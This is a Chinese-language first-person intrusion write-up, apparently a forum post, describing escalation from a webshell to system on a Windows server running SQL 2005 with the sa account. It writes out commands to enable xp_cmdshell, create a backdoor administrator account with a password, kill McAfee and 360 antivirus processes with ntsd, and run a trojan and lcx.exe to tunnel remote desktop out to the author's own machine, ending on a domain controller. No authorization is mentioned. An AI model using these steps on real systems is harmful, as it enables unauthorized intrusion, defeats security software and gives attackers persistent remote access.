拿到一个 webshell 之后,先简单评估一下这台服务器的提权条件。分析下来,问题点主要集中在三个地方:Serv-U 6.4.0、MSSQL sa 密码权限、搜狗拼音输入法。观察了一圈,发现这台服务器的安全配置确实堪忧——Serv-U 目录可写,搜狗目录可写,MSSQL sa 权限居然没降权。
第一反应是用马把搜狗目录下的 pingup.exe 替换掉,打算等段时间再上线,结果服务器装了 McAfee,直接过不去。第二招试 Serv-U 自带的提权程序,执行后添加用户失败,原因不明,估计是降权了。于是转向 MSSQL——sa 权限在手,按理说很好办,但 SQL 2005 默认禁用了 xp_cmdshell。
先用 shell 下的 SQL 提权检测组件是否存在,结果如图:
接着尝试用 xp_cmdshell 执行 net user,没反应,看来组件确实没开。要开启 xp_cmdshell,得先打开高级配置:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
但执行后报错“对象关闭时,不允许操作”。再尝试开启 xp_cmdshell:
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
同样是这个错误。当时 t00ls 的大牛们说,会不会是被降权了?
既然 SQL 直接执行不行,换 aspxspy 连接数据库再试一次:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
这次查看权限,成功返回 system,如图:

这才明白,原来是之前用的工具功能有限,细节决定成败啊。
中期
7. 添加用户:
Exec master.dbo.xp_cmdshell 'net user admins udb311 /add'
结果如图:

提示密码不满足策略要求,需要复杂一些。于是改成:
Exec master.dbo.xp_cmdshell 'net user admins udb311!@# /add'
成功添加。
8. 把用户加到管理员组:
Exec master.dbo.xp_cmdshell 'net localgroup administrators admins /add'
9. 远程桌面服务是开着的,但 ipconfig /all 发现是内网,没有映射 3389。于是上传 lcx.exe 做端口转发,执行后没反应。
10. 换一个远控木马执行,同样没反应。
11. 用 tasklist /svc 查看进程,发现 McAfee 的进程 ID 分别是 1760、1804、1876、3844、4824。
12. 用 ntsd -c q -p 1760 逐个干掉,全部干完。
13. 重新执行木马和 lcx.exe,仍然没反应。
14. 无奈之下再看进程 tasklist /svc,发现还有 360 的进程:
ntsd -c q -p 920
ntsd -c q -p 7192
干掉 360 后,再观察执行木马,发现文件大小变成 0 了——肯定还是被杀。原来 McAfee 杀木马不是直接删除,而是隔离。唉,还是没突破 McAfee 的防线。
进阶
16. 过了一阵,换了一个号称最新免杀的 lcx.exe 上传,再次执行转发。结果如下:

慢慢有进度了,但很缓慢。
17. 查看端口连接,看看是否有 lcx 转发出来的连接:
netstat -ano
如图:

有一条 51 端口连接到了我的 IP——成功了!
18. 接下来在路由器上做好本机 51 端口的映射,本机运行 lcx.exe -listen 51 3389 监听,有数据返回,拿另一台虚拟机来连接,如图:

19. 悲剧啊,原来还是个域控制器(DC):

总结
针对 SQL 2005 提权,难度并没有增加,反而是以往 SQL 2000 主要卡在恢复 xp_cmdshell 这一步,而 2005 反而更简单。最后想提醒一下广大管理员:请务必重视 sa 权限和密码安全。内网渗透中遇到的主要难点就是端口转发和映射,另外还要考虑服务器上的杀毒软件。欢迎各位一起讨论。
